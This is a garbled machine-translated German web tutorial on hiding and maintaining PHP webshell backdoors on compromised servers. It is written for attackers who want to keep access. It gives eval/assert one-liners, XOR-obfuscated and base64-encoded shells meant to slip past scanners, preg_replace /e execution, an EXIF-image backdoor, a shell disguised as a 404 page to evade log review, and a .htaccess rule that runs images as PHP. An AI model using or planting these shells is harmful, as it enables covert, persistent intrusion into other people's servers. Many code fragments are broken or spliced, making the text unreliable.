Heim > Backend-Entwicklung > PHP-Tutorial > PHP-Hintertür-Versteck- und Wartungstechniken

PHP-Hintertür-Versteck- und Wartungstechniken

WBOY
Freigeben: 2016-08-08 09:21:23
Original
1425 Leute haben es durchsucht

Nach einem erfolgreichen Test möchten Sie die Berechtigungen normalerweise länger behalten. Die Arbeit, die mit dem Verlassen von Hintertüren verbunden ist, umfasst unter anderem Datenbankberechtigungen, WEB-Berechtigungen und Systembenutzer usw. Dieser Artikel wird einige der Ideen bekannt machen, die in den Hintertüren von Volkswagen verborgen sind.

AD:

0×00 Vorwort

Nach einem erfolgreichen Test möchten Sie normalerweise die Privilegien länger behalten. Die Aufgabe, eine Hintertür zu hinterlassen, ist Es scheint Sehr wichtig. Zu den häufig eingesetzten Hintertüren gehören unter anderem Datenbankberechtigungen, WEB-Berechtigungen, Systembenutzerberechtigungen usw. In diesem Artikel werden einige der in öffentlichen Hintertüren versteckten Ideen bekannt gemacht

Nehmen Sie PHP-WEBBACKDOOR als Beispiel, um andere zu inspirieren

Eine häufigste Ein-Satz-Hintertür könnte so geschrieben werden

  1. eval($ _POST['cmd']);?>

oder dieses

  1. $_POST['cmd']);?>

Das ist natürlich nur in der aufgerufenen Funktion anders Informationen zu den von PHP deaktivierten Funktionen finden Sie unter „Suche in php.ini: deaktivieren_funktionen“.

Aber es gibt viele Möglichkeiten für Betrieb und Wartung, unsere Shell intuitiv zu finden, wie zum Beispiel

◆Ausnahme gefunden durch Dateiname/Änderungszeit/-größe, Dateisicherungsvergleich

◆Entdecken Sie die Hintertür durch das WEBSHELL-Hintertür-Scan-Skript, wie Scanbackdoor.php/Pecker/shelldetect.php und verschiedene Scanner usw.

◆Entdecken Sie die Hintertür über das Access.log-Zugriffsprotokoll

◆ Oder unser Testsatz wird von WAF blockiert und ein Warnprotokoll wird gesendet usw.

Im Hinblick auf Gängige Erkennungsmethoden, die folgenden sieben gängigen Methoden werden zusammengefasst, um die Shell zu verbergen

0×01 Evasion

Schauen Sie sich die verschiedenen Scan-Backdoor-Codes an und Sie werden wissen, dass das Hinterlassen eines Schlüsselworts, das jeder kennt und Schreie sind in der Shell absolut nicht erlaubt

Gemeinsame Schlüsselwörter wie:

◆Systembefehlsausführung: system, passhru, shell_exec, exec, popen, proc_open

◆Codeausführung: eval, Assert, call_user_func, base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13

◆Datei enthält: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

Ein Freund hat es in der Vergangenheit mit Bedacht verwendet $ _POST[0]($_POST[1]) um den Befehl auszuführen Leider ist es jetzt schwierig, der Erkennung von Scannern zu entgehen, aber alles ändert sich. und die Konstruktionsmethoden sind endlos

Tudouya-Klassenkamerad gab [eine Konstruktion zu FREEBUF-Tipps](http://www.freebuf.com/articles/web/33824.html)Verwenden Sie

  1. @$_; // $_ = 1
  2. $__=(" #"^"|"); // $__ = _
  3. $__.=(" ."^"~"); // _P
  4. $__.=("/"^ "`"); // _PO
  5. $__.=("|"^ "/"); // _POS
  6. $__.=("{"^"/" ); // _POST
  7. ${$__}[!$_](${$__ }[$_]); // $_POST[0] ($_POST[1]);
  8. ? >

Konstruktionsgenerierung, natürlich ist es in Ordnung, wenn es zu intuitiv ist. Schreiben Sie so

  1. $_ ;$ __=("#"^"|").(". "^"~").("/"^"`"). ("|"^"/").("{"^ "/");@${$__}[!$_]( ${$__}[$_]);?>

Geben Sie dann einen gewöhnlichen Code ein, um ihn zu verschleiern, und ein einfaches „Anti-Kill“-Shell-Beispiel erscheint

Es wird korrekt ausgeführt und umgeht gewöhnliche Scanner. Sie können sich darauf verlassen, eine neue temporäre Shell zu schreiben

0×02 Features

Es ist auch eine interessante Möglichkeit, Syntaxfunktionen zum Ausführen von Befehlen zu verwenden. Verwenden Sie PHP, um Variablen zu verarbeiten. Es analysiert, ob die Daten in doppelten Anführungszeichen enthalten (und analysiert deren Werte). >zB.:

${@
    eval(phpinfo()) }
  1. {} kann den Variableninhalt in doppelten Anführungszeichen analysieren, @ Behalten Sie den Fehler bei und fahren Sie mit der Ausführung fort

Dann können Sie mit dem Aufbau einer versteckten Hintertür beginnen, aber hier möchte sich die Struktur auf die durch die Funktion verursachte Befehlsausführung verlassen. Ja, es ist preg_replace

"//e",
  • $_POST['cmd'],"");?> >Diese Methode wurde offensichtlich in die Scanner-Blacklist eingetragen, einfache Änderung Weiter
    1. function funfunc($str){}
    2. echo preg_replace("/(. ?)/ies", 'funfunc("1")', $_POST["cmd"]);
    3. ?>
    wurde ausgeführt und nicht gefunden

    Die Ausführungsmethode ist offensichtlich. Wenn {${phpinfo()}} nach dem regulären Abgleich an funfunc übergeben wird, wird der Code ausgeführt

      funfunc(
    1. "{${phpinfo()}} " )
    Eine andere Methode

      "$arr="".$_GET['cmd']."";");?>
  • 0 × 03 Inklusion

    Datei-Inklusion ist eine Methode, die jeder ausprobiert hat, aber Inklusion hat auch Techniken

    Gewöhnliche Datei-Inklusion kann nur ein Einbinden sein, das eine bestimmte TXT- oder JPG-Datei enthält, oder sogar direkt eine verlassen enthalten Schwachstelle, aber der Scanner ist auch leicht zu finden, und die zusätzlich enthaltenen Dateien sind ebenfalls leicht zu finden

    Sehen Sie sich dieses Skript an

       
    1. if( @isset($_GET[content]))
    2. {
    3. 'w'); 🎜> file_put_contents('README',"
    4. @file_put_contents('README',$_GET[content],FILE_APPEND);
    5. fclose($fp) ;
    6. require
    7. 'README';}
    8. ?> Die Probleme. Die erforderliche Shell kann nach Bedarf generiert und dann eingebunden werden. Da Funktionen wie file_put_contents zu empfindlich sind, kann sie durch Scannen leicht gefunden werden.
    9. erstellt eine Shell durch Codierungsgenerierung, die mit Zugriff generiert wird

    fputs(fopen(

    base64_decode(

    'cgx1z2lux20ucghw'), w),

    Base64_Decode (

    'Pd9wahagqgfzc2vydcgkx1bpu1rbj2ntzcddkts/pg =='); >?>

    1. kann einigen Scannern entgehen, aber dieser Modus ist auch auffälliger und die neu generierten Dateien müssen einfach ausgeblendet werden, um einer Erkennung zu entgehen.Natürlich neue Konzepte wie Heuristiken werden nicht berücksichtigtWenn diese Methode die Anforderungen nicht erfüllen kann, kehren clevere Angreifer zurück$exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif[
    2. 'Model'],
    3. '');?> ;

    1. Referenz: a Die im EXIF ​​von JPG-Bildern versteckte Hintertür Dieses Mal müssen Sie nicht mehr einfach /b kopieren, um das Image-Pferd zu generieren. Es ist auch möglich, das spezifische Flag der preg_replace-Ausführungsdatei auszuleihen Aufruf der undefinierten Funktion exif_read_data()Sie müssen php.ini ändern, extension=php_exif.dllÄndern Sie die Ladereihenfolge in nach extension=php_mbstring.dll Es ist ersichtlich, dass diese Bild-Hintertür auf dem e-Parameter preg_replace basiert, auf der Variablenanalyse und -ausführung von PHP basiert und schließlich die Dateiidentifikation verwendet, um eine vollständige Shell-Assembly zu konvertieren ist eine kleine Erinnerung für diejenigen, die mit den versteckten Hintertüren noch nicht vertraut sind. Solange es Einschlusspunkte gibt, ist die Form der Include-Datei natürlich unterschiedlich, einschließlich error_log (obwohl Sie vielleicht darüber nachdenken sollten, sie zu schließen). it), nur unerwartet...
    2. 0×04 Hidden

    Um zu verhindern, dass Besucher die Existenz der Hintertür entdecken, werden clevere Sicherheitsforscher auch die Situation verwirren

    1. "-//IETF//DTD HTML 2.0//EN"> > 404 Nicht gefunden 🎜>
    2. Die angeforderte URL wurde auf diesem Server nicht gefunden.

      > 🎜>
    3. @preg_replace(
    4. "/[checksql]/e",
    5. $_POST[
    6. 'cmd'],
    7. "saft" 🎜>
    8. Aber Sie können sich nicht vor Besuchern verstecken und Sie können es nicht vor der Protokollanalyse verbergen. Um es in einer großen Anzahl von Protokollen besser zu verbergen, wurde das folgende Skript erstellt >
    9. header (
    10. 'HTTP/1.1 404'); 'cGx1Z2luX20ucGhw'),w),
    11. base64_decode(
    12. 'PD9waHAgQGFzc2VydCgkX1BPU1RbJ2NtZCddKTs/ S =='));
    13. ob_end_clean();
    14. Der Zugriff ist ein echter 404, ja, das Gleiche gilt auch im Protokoll

    Aber in diesem Moment wurde das Skript, das wir verbinden möchten, im Strom generiert Verzeichnis

    0×05 Verwirrung
    1. Wer das Weevely-Tool verwendet hat, sollte wissen, dass die von ihm generierte Anti-Kill-Shell so aussieht
    2.  
    3. $kthe= "JGEpPjgiMpeyRrPSgidwcyc7ZWNobyAnPCcgiugiJGsuJz4nOgi2V2YWwoYgimFzZTY0X2giRlY2gi9kgiZShwcmVn";                    place("w"," ","stwrw_wrwepwlwawcwe");
    4.                                                                   

     

    $zrmt=

    "JGM9J2NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk9PSgidvbycggiJgiiYgJGMo"; ftdf("f",

    "",

    "bfafsfef4_fdfefcodfe" ); 🎜>

      >"lclrlaltel_functlilon"); (
    1. $ftdf(
    2. "gi",
    3. "", $zrmt.$kthe.$wmmi.$penh) ));
    4. $rdwm();
    5. Nach der Verbindung im Terminal sieht es so aus
    6. Ps: Ich habe es vergessen Ändern Sie den Terminalcode im Screenshot:(Der Weg, das Töten zu vermeiden Der Prozess der Generierung zufälliger Namensvariablen in einem festen Bereich und der anschließenden Verwendung von str_replace zum Kombinieren von base64_decode und Ausführen des Befehls Von Dies ist natürlich eine häufigere Verschleierung auf Codeebene, um Scanner zu vermeidenAudiovisuelle Methoden: ◆Ändern Sie die Dateizeit
    7. ◆Benennen Sie sie um und integrieren Sie sie in den Ordner, in dem es sich nach dem Hochladen befindet, sodass Benutzer die Dateianomalie nicht visuell erkennen können
    8. ◆Verbergen Sie die Dateigröße (zumindest sieht die Größe wie ein normales Skript aus)◆Wählen Sie das Ausblenden Pfad und besuchen Sie ihn so wenig wie möglich
    9. ◆Merformed-Verzeichnis
    10. Das Space-Verzeichnis ist relativ leicht zu finden
    11. 0×06 ParsingVerwenden Sie .htaccess, um eine Parsing-Hintertür hinzuzufügenZum Beispiel:AddType application/x- httpd-php .jpg
    12. Das Obige dient als Beispiel0×07 Verschiedenes

      Um die oben genannten Methoden zusammenzufassen, handelt es sich bei den meisten um nichts anderes als einen Prozess zur Konstruktion von Schwachstellen. Der Code zur Konstruktion der Schwachstelle kann so seltsam sein, wie die Hintertür nur sein kann. Sie können etwas Feines und Anmutiges schreiben oder selbst erstellen Es ist einfach und grob, aber die anwendbaren Situationen sind unterschiedlich. Wenn Sie Ideen gut integrieren können, ist es nicht schwierig, Ihre eigene versteckte Hülle zu konstruieren. Wenn Sie interessante Ideen haben, können Sie dies gerne tun Teilen Sie Ihre Gedanken mit

      Das Obige stellt die PHP-Hintertür-Versteck- und Wartungstechniken vor, einschließlich der relevanten Inhalte. Ich hoffe, dass es für Freunde hilfreich ist, die sich für PHP-Tutorials interessieren.

    Verwandte Etiketten:
    Quelle:php.cn
    Erklärung dieser Website
    Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn
    Beliebte Tutorials
    Mehr>
    Neueste Downloads
    Mehr>
    Web-Effekte
    Quellcode der Website
    Website-Materialien
    Frontend-Vorlage